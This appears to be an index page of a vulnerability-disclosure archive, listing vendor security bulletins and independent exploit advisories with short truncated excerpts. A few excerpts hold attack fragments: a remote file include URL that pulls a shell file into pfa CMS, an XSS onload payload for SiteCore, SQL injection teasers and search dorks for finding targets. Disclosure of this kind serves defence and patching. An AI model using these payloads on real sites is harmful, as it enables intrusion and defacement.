[security bulletin] HPSBOV02834 SSRT101055 rev.1 - HP OpenVMS LOGIN or ACMELOGIN, Remote or Local Denial of Service (DoS)

-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Note: the current version of the following document is available here: https://h20566.www2.hp.com/portal/site/hpsc/public/kb/ docDisplay?docId=emrna-c03599086 SUPPORT COMMUNICATION - SECURITY BULLETIN Document ID: c03599086 Version: 1 HPSBOV02834...

XSS vulnerability in Spitfire

Vulnerability ID: HTB22485 Reference: http://www.htbridge.ch/advisory/xssvulnerabilityinspitfire2.html Product: Spitfire Vendor: Claus Muus http://spitfire.clausmuus.de/ Vulnerable Version: 1.0.336 and Probably Prior Versions Vendor Notification: 08 July 2010 Vulnerability Type: XSS Cross Site...

Microsoft ClickOnce MITM Vulnerabilities

============================================================================== ======|ЇЇЇЇЇЇЇЇЇЇЇЇЇЇЇЇЇЇЇЇЇЇЇЇЇЇЇЇЇЇЇЇЇЇЇЇЇЇЇЇЇЇЇЇЇЇЇЇЇЇЇЇЇЇЇЇЇЇЇЇЇЇЇЇ|====== ======| ClickOnce Man-In-The-Middle [email protected] |====== ======||======...

Vulnerabilities in DataLife Engine

Здравствуйте 3APA3A! Сообщаю вам о найденных мною Abuse of Functionality и Insufficient Anti-automation уязвимостях в DataLife Engine DLE. Abuse of Functionality: http://site/index.php?do=register На странице регистрации функция "Проверить имя" позволяет выявить логины пользователей в системе...

Microsoft Windows WinHTTP servive multiple security vulnerabilities

Integer overflow, certificate spoofing, NTLM relaying...

Adult Script Unauthorized Administrative Access Exploit

Adult Script Unauthorized Administrative Access Exploit Exploit Coded By Liz0ziM From BiyoSecurityTeam Greetz My all friend and BiyoSecurityTeam User.. Software site: http://www.adultscript.net/ Demo: http://www.adultscript.net/demo/ Vulnerable code in admin/administrator.php near lines 5-8...

pfa CMS v6.0 (index.php repinc) Remote File Include Vulnerability

pfa CMS v6.0 // AYYILDIZ.ORG Gururla Sunar ! = OZELHAREKAT Author: iLker Kandemir [email protected] ScriptSite: http://pfa.netsliver.com/downloadpfa Tnx: H0tturk,Ekin0x,Dumenci,Gencnesil,Gencturk,Str0ke Exploit: http://site/pfapath/index.php?repinc=http://shell.txt?...

vBulletin allows arbitrary code execution

OVERVIEW ======== vBulletin http://www.vbulletin.com is a commonly used web forum system written in PHP. One of its key features is use of templates, which allow the board administrator to dynamically modify the look of the board. vBulletin templates are parsed with the eval function. This could ...

[hacksware] gbook.cgi remote command execution vulnerability

Bug Report 1. Name: gbook.cgi remote command execution vulnerability 2. Release Date: 2000.11.10 3. Affected Application: GBook - A web site guestbook By Bill Kendrick [email protected] http://zippy.sonoma.edu/kendrick/ 4. Author: [email protected] 5. Type: Input validation Error 6...

Security Advisory: FreeBSD-SA-00:19.semconfig

============================================================================= FreeBSD-SA-00:19 Security Advisory FreeBSD, Inc. Topic: local users can prevent all processes from exiting Category: core Module: kernel Announced: 2000-05-26 Credits: Peter Wemm [email protected] Affects: 386BSD-derive...

[ MDVSA-2015:181 ] drupal

-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Mandriva Linux Security Advisory MDVSA-2015:181 http://www.mandriva.com/en/support/security/ Package : drupal Date : March 30, 2015 Affected: Business Server 1.0 Problem Description: Updated drupal packages fix security vulnerabilities: An information...

SiteCore XML Control Script Insertion

Hey All, Sitecores “special way” of displaying XML Controls directly allows for a Cross Site Scripting Attack – more can be achieved with these XML Controls and will be documented in another vulnerability report http://target/?xmlcontrol=body20onload=alert123...

[USN-1677-1] Linux kernel vulnerability

========================================================================== Ubuntu Security Notice USN-1677-1 December 20, 2012 linux vulnerability ========================================================================== A security issue affects these releases of Ubuntu and its derivatives: -...

VamCart v0.9 CMS - Multiple Web Vulnerabilities

Title: ====== VamCart v0.9 CMS - Multiple Web Vulnerabilities Date: ===== 2012-06-25 References: =========== http://www.vulnerability-lab.com/getcontent.php?id=622 VL-ID: ===== 622 Common Vulnerability Scoring System: ==================================== 4 Introduction: ============= VamCart is a...

HotWeb Rentals "PageId" SQL Injection Vulnerability

HotWeb Rentals "PageId" SQL Injection Vulnerability PRODUCT http://www.hotwebscripts.co.uk/ Input passed to the "PageId" parameter in default.asp is not properly sanitised before being used in SQL queries. This can be exploited to manipulate SQL queries by injecting arbitrary SQL code. POC...

Daily web applications security vulnerabilities summary (PHP, ASP, JSP, CGI, Perl)

PHP inclusions, SQL injections, directory traversals, crossite scripting, information leaks, etc. Phpclanwebsite: multiple directory traversals, multiple SQL injections, multiple crossite scriptings,...

[SA14564] MySQL MS-DOS Device Names Denial of Service Vulnerability

---------------------------------------------------------------------- Monitor, Filter, and Manage Security Information - Filtering and Management of Secunia advisories - Overview, documentation, and detailed reports - Alerting via email and SMS Request Trial: https://ca.secunia.com/?f=l...

Allaire JRUN 2.3 Arbitrary File Retrieval

Foundstone, Inc. http://www.foundstone.com "Securing the Dot Com World" Security Advisory Allaire JRUN 2.3 ---------------------------------------------------------------------- FS Advisory ID: FS-102300-13-JRUN Release Date: October 23, 2000 Product: Allaire JRUN 2.3 Vendor: Allaire Inc...

[SECURITY] CVE-2014-0230: Apache Tomcat DoS

-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA256 CVE-2014-0230 Denial of Service Severity: Low Vendor: The Apache Software Foundation Versions Affected: - - Apache Tomcat 8.0.0-RC1 to 8.0.8 - - Apache Tomcat 7.0.0 to 7.0.54 - - Apache Tomcat 6.0.0 to 6.0.43 Description: When a response for a reque...

Glype proxy local address filter bypass

------------------------------------------------------------------------ Glype proxy local address filter bypass ------------------------------------------------------------------------ Securify, September 2014 ------------------------------------------------------------------------ Abstract...

[DSECRG-11-033] SAP Crystal Report Server pubDBLogon - Linked ХSS vulnerability (by ERPScan)

DSECRG-11-033 SAP Crystal Report Server pubDBLogon - Linked ХSS vulnerability XSS vulnerability found in pubDBLogon.jsp page of SAP Crystal Report Server 2008. Application: SAP Crystal Report Server 2008 Versions Affected: SAP Crystal Report Server 2008 Vendor URL: http://www.sap.com Bugs: Linked...

Multiple vulnerabilities in several ATEN IP KVM Switches

Jakob Lell from the TU Berlin computer security working group http://www.agrs.tu-berlin.de/v-menue/agrechnersicherheit/parameter/en/ has discovered multiple vulnerabilities in several ATEN IP KVM Switches. Affected products: - ATEN KH1516i IP KVM Switch browser firmware version 1.0.063 - ATEN...

iDefense Security Advisory 08.16.07: IBM DB2 Universal Database Multiple Race Condition Vulnerabilities

IBM DB2 Universal Database Multiple Race Condition Vulnerabilities iDefense Security Advisory 08.16.07 http://labs.idefense.com/intelligence/vulnerabilities/ Aug 16, 2007 I. BACKGROUND IBM Corp.'s DB2 Universal Database product is a large database server product commonly used for high end...

[USN-2744-1] Apport vulnerability

========================================================================== Ubuntu Security Notice USN-2744-1 September 24, 2015 apport vulnerability ========================================================================== A security issue affects these releases of Ubuntu and its derivatives: -...

Open-Xchange Security Advisory 2013-04-17

Open-Xchange Security Advisory multiple vulnerabilities Multiple security issues for Open-Xchange Server 6 and OX AppSuite have been discovered and fixed. The vendor has chosen a responsible full disclosure method to publish security issue details. Users of the software have already been provided...

Multiple vulnerabilities in PBBoard

Advisory ID: HTB23101 Product: PBBoard Vendor: www.pbboard.com Vulnerable Versions: 2.1.4 and probably prior Tested Version: 2.1.4 Vendor Notification: July 18, 2012 Public Disclosure: August 8, 2012 Vulnerability Type: SQL Injection CWE-89, Improper Authentication CWE-287, Improper Access Contro...

SEO New York (prod.php?id) Remote SQL injection Vulnerability

IRANIAN THE BEST HACKERS IN THE WORLD Remote SQL injection Vulnerability SEO New York prod.php?id AuTh0r : EhsanHp200 H0ME : www.ehsanhp.blogsky.com Email : [email protected] Vendor : http://www.eyesonnet.com/ Persian Gulf 4 Ever! Dork : "Powered by:SEO New York" "inurl:prod.php?id" Exploite...

[security bulletin] HPSBMA02658 SSRT100413 rev.1 - Insight Control for Linux (IC-Linux), Remote Unauthorized Elevation of Privilege, Execution of Arbitrary Code, Encryption Downgrade, Information Disclosure, Denial of Service (DoS)

-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 SUPPORT COMMUNICATION - SECURITY BULLETIN Document ID: c02794777 Version: 1 HPSBMA02658 SSRT100413 rev.1 - Insight Control for Linux IC-Linux, Remote Unauthorized Elevation of Privilege, Execution of Arbitrary Code, Encryption Downgrade, Information...

[security bulletin] HPSBMA02428 SSRT090048 rev.1 - HP System Management Homepage (SMH) for Linux and Windows, Remote Cross Site Scripting (XSS)

-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 SUPPORT COMMUNICATION - SECURITY BULLETIN Document ID: c01745065 Version: 1 HPSBMA02428 SSRT090048 rev.1 - HP System Management Homepage SMH for Linux and Windows, Remote Cross Site Scripting XSS NOTICE: The information in this Security Bulletin shoul...

Carbon Communities forum Multiple Vulnerabilities.

www.BugReport.ir AmnPardaz Security Research Team Title: Multiple Vulnerabilities in Carbon Communities forum. Vendor: www.carboncommunities.com Vulnerable Version: 2.4 and prior versions Exploit: Available Impact: High Fix: N/A Original Advisory: http://bugreport.ir/index.php?/35 1. Description:...

Battle.net Clan Script for PHP 1.5.1 Remote SQL Injection Vulnerability

script : Battle.net Clan Script 1.5 file : login.php attack : injection sql auteur : h a c k e r X code : ------------------------------------------------------------------------------------------ line 9 -- $user = $POST'user'; line 10-- $pass = $POST'pass'; ..... ..... ..... line 21--...

BAZARR THUG LIFE , DONT READ OR VIRUS INFECT YOU

/ typespeed server =v0.4.1 remote root vulnerability! / / by: bazarr / / [email protected] / / bazarr episode 5 / ---------------------- PREFACE caddis i just be messing wid you man relax --- caddis :No such nick/channel after reading tutorial on html programmering , i have redesigned website it...

Apple watchOS security vulnerabilities

Information disclosure, memory corruptions, multiple vulnerabilities in different libraries...

Remote file upload vulnerability in videowhisper-video-conference-integration wordpress plugin v4.91.8

Title: Remote file upload vulnerability in videowhisper-video-conference-integration wordpress plugin v4.91.8 Author: Larry W. Cashdollar, @larry0 Date: 2015-03-29 Download Site: https://wordpress.org/support/plugin/videowhisper-video-conference-integration Vendor: http://www.videowhisper.com/...

[security bulletin] HPSBMU02967 rev.2 - HP Unified Functional Testing Running on Windows, Remote Execution of Arbitrary Code

-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 iNote: the current version of the following document is available here: https://h20564.www2.hp.com/portal/site/hpsc/public/kb/ docDisplay?docId=emrna-c04122007 SUPPORT COMMUNICATION - SECURITY BULLETIN Document ID: c04122007 Version: 2 HPSBMU02967 rev...

HP System Management Homepage multiple security vulnerabilities

XSS, privilege escalation, unauthorized access, information leakage, DoS...

Wordpress the-welcomizer plugin Cross-Site Scripting Vulnerabilities

a bug in Wordpress the-welcomizer plugin that allows to us to occur a Cross-Site Scripting on a Remote machin. Iran Hack Security Team & Islamic Republic Of Iran Security Team http://IranHack.Org & http://irist.ir/forum/ Wordpress the-welcomizer plugin Cross-Site Scripting Vulnerabilities...

TP-LINK TL-WR740N wireless router vulnerabilities

Crossite scripting, DoS...

Daily web applications security vulnerabilities summary (PHP, ASP, JSP, CGI, Perl)

PHP inclusions, SQL injections, directory traversals, crossite scripting, information leaks, etc...

MercuryBoard 1.1.4 SQL Injection

RST/GHC Advisory 28 Product : MercuryBoard Version : 1.1.4 FILE : index.php VULN : SQL injection CODE : global.php ---------- 71 : $this-agent = isset$SERVER'HTTPUSERAGENT' ? $SERVER'HTTPUSERAGENT' : null; index.php --------- 154 : $mercury-db-query"REPLACE INTO $mercury-preactive activeid,...

twlc advisory: all versions of php nuke are vulnerable...

twlc security divison 24/09/2001 Php nuke BUGGED. Found by: LucisFero and supergate ./twlc Summary This time the bug is really dangerous...it allows you to 'cp' any file on the box... or even upload files... Systems Affected all the versions ARE vulnerable except '5.0 RC1' i wonder why a released...

ntp multiple security vulnerabilities

Multiple memory corruptions...

Oracle / Sun / PeopleSoft / MySQL multiple security vulnerabilities

Quarterly CPU fixed over 170 different vulnerabilities...

CVE-2014-8487: Kony EMM insecurity Direct Object Reference

------------------------------------------------------------------------ Product: Enterprise Mobile Management Vendor: Kony Vulnerable Versions: Kony EMM 1.2 and probably older versions Tested Version: Drupal Kony EMM 1.2 Advisory Publication: 24 December 2014 Vendor Notification: 8 December 2014...

SEC Consult SA-20130625-0 :: Multiple vulnerabilities in IceWarp Mail Server

SEC Consult Vulnerability Lab Security Advisory 20130625-0 ======================================================================= title: Multiple vulnerabilities in IceWarp Mail Server product: IceWarp Mail Server vulnerable version: =10.4.5 fixed version: 10.4.5-1 impact: Critical homepage:...

ESA-2013-045: RSA BSAFE® SSL-C Security Update for SSL/TLS Plaintext Recovery (aka “Lucky Thirteen”) Vulnerability

ESA-2013-045.txt -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 ESA-2013-045: RSA BSAFE® SSL-C Security Update for SSL/TLS Plaintext Recovery aka “Lucky Thirteen” Vulnerability EMC Identifier: ESA-2013-045 CVE Identifier: CVE-2013-0169 Severity Rating: CVSS v2 Base Score: 2.6...

NetCat CMS v5.0.1 - Multiple Web Vulnerabilities

Title: ====== NetCat CMS v5.0.1 - Multiple Web Vulnerabilities Date: ===== 2012-10-31 References: =========== http://www.vulnerability-lab.com/getcontent.php?id=738 VL-ID: ===== 738 Common Vulnerability Scoring System: ==================================== 2.5 Introduction: ============= Vendor...

DHTMLX Suite v.3.0 - Multiple Web Vulnerabilities

Title: ====== DHTMLX Suite v.3.0 - Multiple Web Vulnerabilities Date: ===== 2012-04-11 References: =========== http://www.vulnerability-lab.com/getcontent.php?id=507 VL-ID: ===== 507 Introduction: ============= To demonstrate the rich possibilities of DHTMLX controls and to show how they work...

HP Network Node Manager i information leakage

No description provided...

[Full-disclosure] CVE-2008-5557 - PHP mbstring buffer overflow vulnerability

-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 CVE-2008-5557 - PHP mbstring buffer overflow vulnerability CVE Number: CVE-2008-5557 Author: Moriyoshi Koizumi [email protected] Release Date: 2008-12-21 Type: heap buffer overflow Affected Versions: 4.3.0 and later versions including PHP 5 Not Affected: a...